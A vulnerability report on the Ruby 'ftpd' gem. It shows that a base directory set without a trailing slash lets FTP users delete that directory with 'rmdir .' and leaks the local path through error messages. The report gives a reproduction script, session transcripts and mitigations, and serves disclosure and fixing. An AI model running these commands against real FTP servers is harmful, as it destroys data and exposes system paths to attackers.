ftpd
ftpd copied to clipboard
FTP base path lack of trailing `/` results in denial of service and disclosure of the local file system path
The Ftpd::DiskFileSystem
class suffers from a denial of service vulnerability and local file system path disclosure issues when the local file system path supplied in the constructor to be used as the base directory for the FTP server does not end with a trailing /
.
This also includes temporary directories generated with Ftpd::TempDir.make
which do not end with a trailing /
. For example:
# irb
2.3.0 :001 > require 'ftpd'
=> true
2.3.0 :002 > Ftpd::TempDir.make
=> "/tmp/d20170513-60691-1gn99k1" # note: lack of trailing /
Tested on latest version of ftpd from GitHub repository (2.0.1).
The likelihood of this issue arising is increased due to the example code in the examples directory and the README which do not make use of a trailing /
:
An excerpt from the README is shown below. Note the lack of the trailing /
.
def file_system(user)
Ftpd::DiskFileSystem.new('/var/lib/ftp')
end
Steps to Reproduce
Here's a simple example FTP script to reproduce these errors:
#!/usr/bin/env ruby
require 'ftpd'
require 'tmpdir'
class Driver
def authenticate(user, password)
true
end
def file_system(user)
Ftpd::DiskFileSystem.new('/var/tmp/ftp') # note: no trailing /
end
end
driver = Driver.new
server = Ftpd::FtpServer.new(driver)
server.interface = '0.0.0.0'
server.port = 21
server.log = Logger.new($stdout)
server.start
puts "Server listening on port #{server.bound_port}"
gets
Denial of Service
It is possible to delete the base directory thus preventing users from uploading any additional files.
ftp> rmdir .
250 RMD command successful
Likewise, specifying rmdir ..
will also delete the directory (note: it does NOT traverse and delete the parent directory, which is nice).
ftp> rmdir ..
250 RMD command successful
Here's a related excerpt from the server log:
# ./ftpd.rb
Server listening on port 21
D, [2017-05-13T03:11:28.894137 #3962] DEBUG -- : 220 wconrad/ftpd 2.0.1
D, [2017-05-13T03:11:30.174613 #3962] DEBUG -- : USER asdf
D, [2017-05-13T03:11:30.174754 #3962] DEBUG -- : 331 Password required
D, [2017-05-13T03:11:30.782560 #3962] DEBUG -- : PASS **FILTERED**
D, [2017-05-13T03:11:30.782677 #3962] DEBUG -- : 230 Logged in
D, [2017-05-13T03:11:30.782796 #3962] DEBUG -- : SYST
D, [2017-05-13T03:11:30.782837 #3962] DEBUG -- : 215 UNIX Type: L8
D, [2017-05-13T03:11:32.488628 #3962] DEBUG -- : PORT 127,0,0,1,160,165
D, [2017-05-13T03:11:32.488804 #3962] DEBUG -- : 200 PORT command successful
D, [2017-05-13T03:11:32.488912 #3962] DEBUG -- : LIST
D, [2017-05-13T03:11:32.489077 #3962] DEBUG -- : 150 Opening ASCII mode data connection
D, [2017-05-13T03:11:32.489226 #3962] DEBUG -- : Sent 0 bytes
D, [2017-05-13T03:11:32.489354 #3962] DEBUG -- : 226 Transfer complete
D, [2017-05-13T03:11:34.668615 #3962] DEBUG -- : RMD .
D, [2017-05-13T03:11:34.668856 #3962] DEBUG -- : 250 RMD command successful
Local File System Path Disclosure
Various commands leak the local file system path of the ftpd base directory which may assist an attacker with further attacks against the system. This may also leak sensitive information in the event that the file system path contains sensitive information, such as client names, unique identifiers, PII, etc.
ftp> get . asdf
local: asdf remote: .
200 PORT command successful
150 Opening BINARY mode data connection
550 Is a directory @ io_fread - /var/tmp/ftp
ftp> get .. asdf
local: asdf remote: ..
200 PORT command successful
150 Opening BINARY mode data connection
550 Is a directory @ io_fread - /var/tmp/ftp
ftp> ren . asdf
350 RNFR accepted; ready for destination
550 Invalid argument @ rb_file_s_rename - (/var/tmp/ftp, /var/tmp/ftp/asdf)
ftp> ren .. asdf
350 RNFR accepted; ready for destination
550 Invalid argument @ rb_file_s_rename - (/var/tmp/ftp, /var/tmp/ftp/asdf)
ftp> del .
550 Is a directory @ unlink_internal - /var/tmp/ftp
ftp> del ..
550 Is a directory @ unlink_internal - /var/tmp/ftp
Although not directly related to the trailing slash issue, it's worth mentioning that attempting to delete a non-empty directory also discloses the local file system path.
ftp> ls asdf
200 PORT command successful
150 Opening ASCII mode data connection
-rw-r--r-- 1 root root 242 May 13 04:12 asdf
226 Transfer complete
ftp> rmdir asdf
550 Directory not empty @ dir_s_rmdir - /var/tmp/ftp/asdf
Notes
Note that these issues are also present when usnig Ftpd::TempDir.make
Here's some example output demonstrating some of these issues using the example code which makes use of Ftpd::TempDir.make
.
Connected to 127.0.0.1.
220 wconrad/ftpd 2.0.1
Name (127.0.0.1:root): root
331 Password required
Password:
230 Logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection
-rw-r--r-- 1 root root 52 May 13 03:42 README
226 Transfer complete
ftp> del .
550 Is a directory @ unlink_internal - /tmp/d20170513-60051-1j26lxs
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection
-rw-r--r-- 1 root root 52 May 13 03:42 README
226 Transfer complete
ftp> rmdir .
550 Directory not empty @ dir_s_rmdir - /tmp/d20170513-60051-1j26lxs
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection
-rw-r--r-- 1 root root 52 May 13 03:42 README
226 Transfer complete
ftp> del README
250 DELE command successful
ftp> rmdir .
250 RMD command successful
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection
226 Transfer complete
ftp>
ftp> put /etc/hosts asdf
local: /etc/hosts remote: asdf
200 PORT command successful
550 No such file or directory
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection
226 Transfer complete
ftp>
Mitigation
To prevent disclosure of the file path, ensure 550
errors do not return the underlying error to the client.
To prevent denial of service by deleting the base directory, ensure the file system path specified in the Ftpd::DiskFileSystem
constructor always makes use of a trailing slash /
.
When the base path is specified with a trailing slash, a 550 Access denied
error is returned in each instance identified above.
For example:
ftp> rmdir .
550 Access denied
Outstanding bug report. I know how much time it takes to make a good one, so thank you.